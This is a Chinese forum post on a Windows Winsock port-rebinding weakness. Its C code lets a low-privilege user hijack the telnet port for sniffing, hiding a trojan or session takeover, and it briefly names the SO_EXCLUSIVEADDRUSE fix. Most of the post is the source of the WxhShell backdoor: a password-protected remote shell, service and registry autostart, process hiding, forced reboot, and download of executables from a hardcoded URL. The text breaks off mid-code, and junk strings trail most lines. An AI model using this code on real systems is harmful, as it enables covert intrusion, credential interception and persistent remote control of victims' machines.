社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10551阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x`JhNAO>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z \>mAtm  
?<STl-]&  
  saddr.sin_family = AF_INET; dZ `c  
GL'l "L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `%Dz 8Z  
A^vvw~!d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GGez!?E%  
EGxCNB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CqR^w(  
^0HgE;4  
  这意味着什么?意味着可以进行如下的攻击: *u]aWx  
HUalD3 \  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uUJH^pW  
):7mK03J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >G}g=zy@  
vJ{aBx`VS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %gEgp Jd  
Z7dyPR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I6Ga'5bV  
U?=-V8#M|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (D2N_l(`<  
[Zne19/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 HpIW H*  
d8.A8<wUr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `Ha<t.v(  
dU&hM<.|  
  #include B3&C=*y  
  #include )`K!XX$%  
  #include Y|cj&<o  
  #include    R?HuDxHk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uU/'oZ?  
  int main() E7  P'}  
  { %r]V:d+  
  WORD wVersionRequested; z!aU85y  
  DWORD ret; nrKir  
  WSADATA wsaData; }///k]_Sh  
  BOOL val; ){4!  
  SOCKADDR_IN saddr; X+QoO=02LR  
  SOCKADDR_IN scaddr; %+@<T<>J<k  
  int err; EIF"{,m  
  SOCKET s; O96%U$W  
  SOCKET sc; "f:_(np,  
  int caddsize; Ou{VDE  
  HANDLE mt; wL[{6wL  
  DWORD tid;   m1Xc3=Y  
  wVersionRequested = MAKEWORD( 2, 2 ); KJ cuZ."wX  
  err = WSAStartup( wVersionRequested, &wsaData ); FD/=uIXH2  
  if ( err != 0 ) { Qrw:Bva)  
  printf("error!WSAStartup failed!\n"); MG vp6/Pd  
  return -1; !md1~g$rN  
  } v]y=+* A  
  saddr.sin_family = AF_INET; y wmC>`0p  
   <&l@ ):a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y_/w}HB  
uZa)N-=b2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h-6x! 6pm  
  saddr.sin_port = htons(23); v+C%t!dx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;%Kh~  
  { ;]>a7o  
  printf("error!socket failed!\n"); 7M<co,"  
  return -1; Bdm05}c@u  
  } ak\[+wQ  
  val = TRUE; ^ /)%s3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L:7 kp<E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TGGbO:s3  
  { 3&zcdwPj  
  printf("error!setsockopt failed!\n"); lX64IvG8+o  
  return -1; `#?]g!  
  } 'u3,+guz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g\pLQH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }pKKNZ`[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 28>/#I9/]  
IQQ>0^Q~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !:Ob3Mq\  
  { *iJ>@ vew  
  ret=GetLastError(); 7A^L$TY  
  printf("error!bind failed!\n"); w d6+,B  
  return -1; 4e?MthJ>  
  } 7*>,BhF#  
  listen(s,2); K{0 gkORF  
  while(1) DDe`Lb%%  
  { _8e0vi!~2  
  caddsize = sizeof(scaddr); VjJ}q*/3e  
  //接受连接请求 BK1I_/_!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U% OlYP$g  
  if(sc!=INVALID_SOCKET) 4wPP/`  
  { {J-Ojw|Y b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H^+Znmo  
  if(mt==NULL) ~^l;~&  
  { x#fv<Cj4  
  printf("Thread Creat Failed!\n"); KebC$g@W  
  break; A'n{K#  
  } 7MIrrhk  
  } +iw4>0pi  
  CloseHandle(mt); 0+NGFX \p  
  } <sG}[:v  
  closesocket(s); ;0-R"c)-  
  WSACleanup(); {dwlW`{  
  return 0; $pauPEe  
  }   (};/,t1#$  
  DWORD WINAPI ClientThread(LPVOID lpParam) R]0tG   
  { (3&P8ZGNR  
  SOCKET ss = (SOCKET)lpParam; x5b .^75p$  
  SOCKET sc; ))I[@D1b  
  unsigned char buf[4096]; n&8SB'-r  
  SOCKADDR_IN saddr; !:a^f2^=  
  long num; %v[KLMo'(  
  DWORD val; 9>= S@hVMd  
  DWORD ret; bT`et*]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^G NL:D%6d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   36}&{A  
  saddr.sin_family = AF_INET; zGa V^X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,,;vG6^a  
  saddr.sin_port = htons(23); {Gw{W&<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t(UdV  
  { 04:QEC"9mj  
  printf("error!socket failed!\n"); 3-BC4y/  
  return -1; =d/$B!t{  
  } P?Kg7m W  
  val = 100; T }Wse{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9JO1O:W  
  { TPmb]j  
  ret = GetLastError(); 7#C3E$gn?  
  return -1; ,%U\@*6=  
  } UL" M?).5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !e}4>!L,(^  
  { o_&Qb^W  
  ret = GetLastError(); g#o9[su  
  return -1; X?Or.  
  } !J[!i"e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3\K;y>NK  
  { e8{!Kjiz  
  printf("error!socket connect failed!\n"); );{76  
  closesocket(sc); ;#=y5Q4  
  closesocket(ss); } wx(P3BHD  
  return -1; Mg&<W#$K  
  } fzUG1|$e  
  while(1) Nb)Mh  
  { oG c9 6B%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 " Rn@yZV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <4TF ]5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b?:?"   
  num = recv(ss,buf,4096,0); G-'CjiMu  
  if(num>0) PsBLAr\ah  
  send(sc,buf,num,0); u24XuSe$  
  else if(num==0) -m$2"_  
  break; .dj}y jd]f  
  num = recv(sc,buf,4096,0); m`n#Q#6  
  if(num>0) o90[,  
  send(ss,buf,num,0); N'Vj& DWC  
  else if(num==0) I7W?}bR*6  
  break; m,&2s-v  
  } 1^2]~R9,9  
  closesocket(ss); h$p}/A  
  closesocket(sc); oz7=1;r  
  return 0 ; q oEZ>  
  } .x1.`Y   
=.qPjp_Qd  
G$2Pny<!  
========================================================== X39%O'  
,_ @) IN  
下边附上一个代码,,WXhSHELL Uurpho_~  
=KHX_ib  
========================================================== {Rn*)D9  
]PB95%  
#include "stdafx.h" 7Ac.^rv5  
60l!3o"p!  
#include <stdio.h> MHS|gR.c  
#include <string.h> q><wzCnRu~  
#include <windows.h> ;A0ZcgF  
#include <winsock2.h> ={50>WXE  
#include <winsvc.h> oSl}A,aQ(  
#include <urlmon.h> [d=BN ,?  
cbW=kQc_  
#pragma comment (lib, "Ws2_32.lib") y:k7eE"  
#pragma comment (lib, "urlmon.lib") r(<91~Ww  
3gv?rJV  
#define MAX_USER   100 // 最大客户端连接数 r9p ((ir  
#define BUF_SOCK   200 // sock buffer I_|W'%N]  
#define KEY_BUFF   255 // 输入 buffer &_' evZ8  
V!s#xXD}  
#define REBOOT     0   // 重启 n>,? V3ly  
#define SHUTDOWN   1   // 关机 f/{ClP.  
f'Rq#b@  
#define DEF_PORT   5000 // 监听端口 CIz_v.&:  
_p<wATv?7t  
#define REG_LEN     16   // 注册表键长度 %&wi@ *#  
#define SVC_LEN     80   // NT服务名长度 :0p$r pJP  
HC"yC;_  
// 从dll定义API $|VdGRZ1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qR kPl!5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D4*_/,}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rr2^sQ;_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [@NW  
Fe2t[y:8h  
// wxhshell配置信息 4^!%>V"d/  
struct WSCFG { L }R-|  
  int ws_port;         // 监听端口 DHuUEv<  
  char ws_passstr[REG_LEN]; // 口令 h]}DMVV]  
  int ws_autoins;       // 安装标记, 1=yes 0=no tUGF8?& G  
  char ws_regname[REG_LEN]; // 注册表键名 ()Q q7/  
  char ws_svcname[REG_LEN]; // 服务名 M$} AJS%8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mqDI'~T9 u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yw\lNhoPS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /1eeNbd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6 kD.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NleMZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9 $^b^It  
eL [.;_  
}; { &J OO  
ITD&w g  
// default Wxhshell configuration L#fK ,r8  
struct WSCFG wscfg={DEF_PORT, mNJCV8 <  
    "xuhuanlingzhe", 6UU<:KH  
    1, 0JW =RW  
    "Wxhshell", u.}H)wt  
    "Wxhshell", j%gle%_  
            "WxhShell Service", hb1eEn  
    "Wrsky Windows CmdShell Service", !1l~'/r  
    "Please Input Your Password: ", I(b]V!mj:  
  1, NzS`s,N4/0  
  "http://www.wrsky.com/wxhshell.exe", uW4.Q_O!H  
  "Wxhshell.exe" 0XI6gPo%  
    }; 9[[$5t`8  
XJ1Bl  
// 消息定义模块 ,M$h3B\;r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FLIU}doc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'ZAIe7i&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KLjvPT\  
char *msg_ws_ext="\n\rExit."; |{MXDx  
char *msg_ws_end="\n\rQuit."; V/RV,K1/  
char *msg_ws_boot="\n\rReboot..."; ^JGwCHeb|H  
char *msg_ws_poff="\n\rShutdown..."; H!|g?"C  
char *msg_ws_down="\n\rSave to "; wGWv<<Qw"  
|3>%(4 OS  
char *msg_ws_err="\n\rErr!"; rx@2Dmt6  
char *msg_ws_ok="\n\rOK!"; 4j zjrG  
77'@U(  
char ExeFile[MAX_PATH]; YR[I,j  
int nUser = 0; w17CZa 6  
HANDLE handles[MAX_USER]; { PS0.UZ  
int OsIsNt; md lMciP  
 vSo1WS  
SERVICE_STATUS       serviceStatus; *hh9 K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r6It )PQ  
Sa/]81 aG  
// 函数声明 vVSf'w   
int Install(void); li0)<("/  
int Uninstall(void); tD,I7%|@  
int DownloadFile(char *sURL, SOCKET wsh); B &3sV+  
int Boot(int flag); Kaji&Ibd  
void HideProc(void); D-e?;<  
int GetOsVer(void); D5Z)"~'  
int Wxhshell(SOCKET wsl); -op)X>  
void TalkWithClient(void *cs); fnIF<Zt  
int CmdShell(SOCKET sock); c GyBml1  
int StartFromService(void); tRNMiU  
int StartWxhshell(LPSTR lpCmdLine); TgKSE1  
Zh_3ydMD1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5ka6=R(r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WT}x Cni  
un}!&*+  
// 数据结构和表定义 D'#,%4P,e\  
SERVICE_TABLE_ENTRY DispatchTable[] = `rV -,-r@  
{ B_RF)meux  
{wscfg.ws_svcname, NTServiceMain}, &AVX03P  
{NULL, NULL} i?,\>LTG  
}; Z6&bUZF$bE  
cH707?p/I  
// 自我安装 Z:diM$Z?7  
int Install(void) %AA -G  
{ OyG2Ks"H  
  char svExeFile[MAX_PATH];  )|W6Z  
  HKEY key; uUe#+[bD  
  strcpy(svExeFile,ExeFile); A o@WTs9  
<4CqG4}Y  
// 如果是win9x系统,修改注册表设为自启动 l< HnPR/  
if(!OsIsNt) { +o35${  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Z0S@]C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )S}.QrG  
  RegCloseKey(key); 8t |?b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !vuun |  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @~FJlG(n  
  RegCloseKey(key); R_"6E8N  
  return 0; D`U,T& @  
    } qC q?`0&#  
  } ,l.+$G  
} 9%riB/vkrF  
else { ! 6R|  
k#Qjm9V  
// 如果是NT以上系统,安装为系统服务 /JIVp_-p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nw%^Gs<~  
if (schSCManager!=0) mRN[l j  
{ [}4\CWM  
  SC_HANDLE schService = CreateService l-5O5|C  
  ( ($ gmN 4  
  schSCManager, cfy9wD  
  wscfg.ws_svcname, ]hRs -x  
  wscfg.ws_svcdisp, cQ3p|a `  
  SERVICE_ALL_ACCESS, B_C."{G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , - %?> 1n  
  SERVICE_AUTO_START, C#P>3"  
  SERVICE_ERROR_NORMAL, ygd*zy9  
  svExeFile, %&J`mq  
  NULL, ry+|gCZ  
  NULL, _>^Y0C[?5  
  NULL, 4tSh.qBht  
  NULL, \w-3Spk*  
  NULL 9f CU+s  
  ); bNHs jx@  
  if (schService!=0) ;Mr Q1  
  { \"$q=%vD  
  CloseServiceHandle(schService); 3h6,x0AG  
  CloseServiceHandle(schSCManager); Equ%6x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TN/&^/  
  strcat(svExeFile,wscfg.ws_svcname); /K;AbE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M&e=LV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ony;U#^T  
  RegCloseKey(key); pP%+@;  
  return 0; WGo ryvEx  
    } ?P}) Qa  
  } ?OGs+G  
  CloseServiceHandle(schSCManager); IvI;Q0E-3  
} Y5*A,piq  
} $4kbOqn4  
dvglh?7d  
return 1; !:~C/B{  
} '1zC|:,  
}:*?w>=  
// 自我卸载 Xd.y or  
int Uninstall(void) nO;ox*Bk+8  
{ wkp$/IZKMj  
  HKEY key; ES#q/yab5  
rMJ4w['J=  
if(!OsIsNt) { 24f N3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~se ;L  
  RegDeleteValue(key,wscfg.ws_regname); mA #^Pv*  
  RegCloseKey(key); Djf~8q V!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "V,dH%&j  
  RegDeleteValue(key,wscfg.ws_regname); @JOsG-VW~  
  RegCloseKey(key); gL1r"&^L  
  return 0; ObataUxQT  
  } Ko "JH=<  
} \?^ EFA+;  
} C*Q x  
else { s}DNu<"g  
NkQain9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hJX;/~L  
if (schSCManager!=0) % QaWg2Y=  
{ 9gZS )MZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !_?HSDAj"n  
  if (schService!=0) X*e:MRw[  
  { }( WUZ^L  
  if(DeleteService(schService)!=0) { (D+%*ax  
  CloseServiceHandle(schService); 7j"B-k#  
  CloseServiceHandle(schSCManager); FH;)5GGnv  
  return 0; u@zT~\ h*  
  } "T}HH  
  CloseServiceHandle(schService); M[e{(iQ:  
  } GF0Utp:Zf;  
  CloseServiceHandle(schSCManager); rNgAzH  
} YLV$#a3  
} D~TK'&  
oJI+c+e"  
return 1; W\e!rq  
} Nt[&rO3s  
0IsnG?"  
// 从指定url下载文件 54 f?YR  
int DownloadFile(char *sURL, SOCKET wsh) /FcwsD\=$  
{ r?`7i'  
  HRESULT hr; u;8bbv4  
char seps[]= "/"; U* T :p>&  
char *token; Kn\$\?u  
char *file; @!(V0-  
char myURL[MAX_PATH]; T8vMBaU!qY  
char myFILE[MAX_PATH]; [VOw:|Tt  
;bq EfV0`2  
strcpy(myURL,sURL); hiaTJE|J?  
  token=strtok(myURL,seps); |G)bnmi7  
  while(token!=NULL) X<H+Z2d  
  { ^Ux*"\/Es  
    file=token; A^F0}MYT  
  token=strtok(NULL,seps); -AKbXkc~\  
  } o7g6*hJz  
?\a';@h  
GetCurrentDirectory(MAX_PATH,myFILE); ,Ne v7X[0  
strcat(myFILE, "\\"); {1GIiP-U  
strcat(myFILE, file); ?QzN\f Y;  
  send(wsh,myFILE,strlen(myFILE),0); ~ o5h}OU"  
send(wsh,"...",3,0); `]<~lf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); );^{;fLy%  
  if(hr==S_OK) ralU9MN.  
return 0; hPUYq7B  
else \0l"9 B.  
return 1; 3<6P^p=I  
zrur-i$N+  
} n\YWWW[wf  
;] #Q!  
// 系统电源模块 N37#V s  
int Boot(int flag) ~|e H8@o  
{ 0y#TGM|0D  
  HANDLE hToken; f=40_5a6  
  TOKEN_PRIVILEGES tkp; J_XbtCmt  
f&Meiu+  
  if(OsIsNt) { v=+>ids  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *\[GfTL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OH~I+=}.  
    tkp.PrivilegeCount = 1; m*TJ@gI*t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k12mxR/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PPNZ(j   
if(flag==REBOOT) { 65pC#$F<x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uvGFo)9q3  
  return 0; 82z<Q*YP  
} T<ekDhlr  
else { ]b@:?DX8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =[^_x+x hE  
  return 0; F}#=qBa[  
} t`A5wqm  
  } qd?k#Gw&  
  else { Xdc>Z\0V  
if(flag==REBOOT) { c::Vh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ekuRGG  
  return 0; ` _]tN  
} wmgKh)`@_{  
else { 0CUUgwA /  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O7T wM Yh  
  return 0; &k {1N.  
} Yy8%vDdJO  
} jQ Of+ZE  
w1|YR  
return 1; KP!ctlP~  
} 3`m n#RM  
9Vv&\m!0  
// win9x进程隐藏模块 q oVp@=\:"  
void HideProc(void) |70L h+  
{ v\ Xk6k  
<lVW; l7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i6h , Aw3  
  if ( hKernel != NULL ) E@\bFy_!>b  
  { uCpk1d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *Z"(K\1TH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DvvjIYB~  
    FreeLibrary(hKernel); kculHIa\.  
  } ws$!-t4<(  
\)vxZ!  
return; mEe JK3D[  
} O WVa&8O  
bPtbU :G  
// 获取操作系统版本 z,B'I.)M  
int GetOsVer(void) O486:tF  
{ 3?GEXO&,E  
  OSVERSIONINFO winfo; I8 {2cM;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NI136P  
  GetVersionEx(&winfo); gyW##M@{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \[w82%U  
  return 1; CCZ]`*wJ  
  else Jm8#M z  
  return 0; G.a^nQ@e%  
} Ni[2 p  
lvz&7Zb  
// 客户端句柄模块 0UvN ws  
int Wxhshell(SOCKET wsl) OQON~&~  
{ wg[D*a  
  SOCKET wsh; !fcr3x|Y~M  
  struct sockaddr_in client; \^+=vO;A  
  DWORD myID; tA2I_W Cl  
g2WDa'{L  
  while(nUser<MAX_USER) q E`  
{ L.z`>1  
  int nSize=sizeof(client); fK|F`F2V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,IW$XD  
  if(wsh==INVALID_SOCKET) return 1; 5? `*i"  
.^S#h (A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iVt*N$iZ  
if(handles[nUser]==0) it~>)_7*P  
  closesocket(wsh); 8*^Q#;^~99  
else /CAi%UH,F  
  nUser++; fr%}|7  
  }  `Up Zk?k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bqxbOQd  
{%5tqF  
  return 0; %<q l  
} ;w,g|=RQ  
0'm4 ) \  
// 关闭 socket P2h}3%cJq  
void CloseIt(SOCKET wsh) ~'e/lX9g-  
{ }F1|& A  
closesocket(wsh); J:,>/')n  
nUser--; zUqt^_  
ExitThread(0); t/K<fy 6  
} eM*@zo<-  
j|&?BBa9  
// 客户端请求句柄 shwKB 5  
void TalkWithClient(void *cs) f#a ~av9rC  
{ ~bCn%r2  
L "L@4 B  
  SOCKET wsh=(SOCKET)cs; zhI} p.  
  char pwd[SVC_LEN]; 3 n/U4fn_  
  char cmd[KEY_BUFF]; 2!/_Xh  
char chr[1]; ;9pOtr  
int i,j; ~B%=g)w  
QUp()B1  
  while (nUser < MAX_USER) { xoD5z<<  
e}?#vTRI}  
if(wscfg.ws_passstr) { 8]Xwj].^C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G l=dL<F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `7P4O   
  //ZeroMemory(pwd,KEY_BUFF); -< jb>8  
      i=0; 9qe6hF/29  
  while(i<SVC_LEN) { ee]PFW28  
Q9N=yz  
  // 设置超时 1\q2;5  
  fd_set FdRead; 1q*85 [Y  
  struct timeval TimeOut; xQa[bvW  
  FD_ZERO(&FdRead); +!6C^G  
  FD_SET(wsh,&FdRead); Y B@\"|}  
  TimeOut.tv_sec=8; 1o7 pMp=  
  TimeOut.tv_usec=0; /H=fK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )FM/^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nKJJ7'$'3  
N0GID-W!/~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2P8JLT*Tj  
  pwd=chr[0]; Dcq\1V.e`W  
  if(chr[0]==0xd || chr[0]==0xa) { BW}^n  
  pwd=0; M=$y_9#  
  break; Cd.pMoS  
  } O^I~d{M 5I  
  i++; ,qak_bP  
    } &E$jAqc  
d{@X-4k :  
  // 如果是非法用户,关闭 socket ` !HGM>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LMWcF'l  
} 9}Tf9>qP>M  
'2a}1?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o_p//S#q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qn#\ro1H  
_JA.~edqM  
while(1) { \Nu(+G?e  
 gM20n^  
  ZeroMemory(cmd,KEY_BUFF); 2As 4}  
Re('7m h~  
      // 自动支持客户端 telnet标准   Xd>4n7nb$`  
  j=0; lNQt  
  while(j<KEY_BUFF) { n *%<!\gJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 34 W#  
  cmd[j]=chr[0]; 2i#wJ8vrF  
  if(chr[0]==0xa || chr[0]==0xd) { }`4o+  
  cmd[j]=0; o|Obl@CSBD  
  break; mCe,(/>l+  
  } v8,+|+3  
  j++; *KF:  
    } oYnA 3  
_/ZIDIn  
  // 下载文件 nbMnqkNb  
  if(strstr(cmd,"http://")) { VcT(n7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {j[[E/8N!y  
  if(DownloadFile(cmd,wsh)) g.X?wyg5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $BG4M?Y  
  else y@'8vOh`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {IJV(%E   
  } +/7UM x1  
  else { {%@zQ|OO0  
}-k<>~FA  
    switch(cmd[0]) { @0?Mwy!  
  Rk56H  
  // 帮助 [[QrGJr  
  case '?': { ;RW!l pGjP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mi9A%ZmP  
    break; bV&/)eqv  
  } a_m P$4T  
  // 安装 4s~Y qP{K  
  case 'i': { IP$^)t[  
    if(Install()) ~" B0P>7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xA#B1qbw  
    else w"bQxS~$y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gVsAz  
    break; ,:G.V  
    } 3k5OYUk  
  // 卸载 "8J$7g@n@  
  case 'r': {  |X`xJL  
    if(Uninstall()) 1?`,h6d*=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Qrdh0j  
    else *nluK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x SF#ys4v  
    break; eP|:b &  
    } FD*`$.e3\  
  // 显示 wxhshell 所在路径 >IC.Zt@  
  case 'p': { .GM&]Hb  
    char svExeFile[MAX_PATH]; x:O?Fj  
    strcpy(svExeFile,"\n\r"); .t4IR =Z  
      strcat(svExeFile,ExeFile); z)=D&\HX  
        send(wsh,svExeFile,strlen(svExeFile),0); /OK.n3Tt  
    break; <g5Bt wo%  
    } G6_Kid}"q  
  // 重启 K7Kd{9-2  
  case 'b': { <)n1Z[4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Axhe9!Fm  
    if(Boot(REBOOT)) }XWic88!~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X{o.mN  
    else { 1j# ~:=I  
    closesocket(wsh); Lg[*P8wE  
    ExitThread(0); ..3TB=Z#  
    } #IA[erf:  
    break; CtV$lXxup  
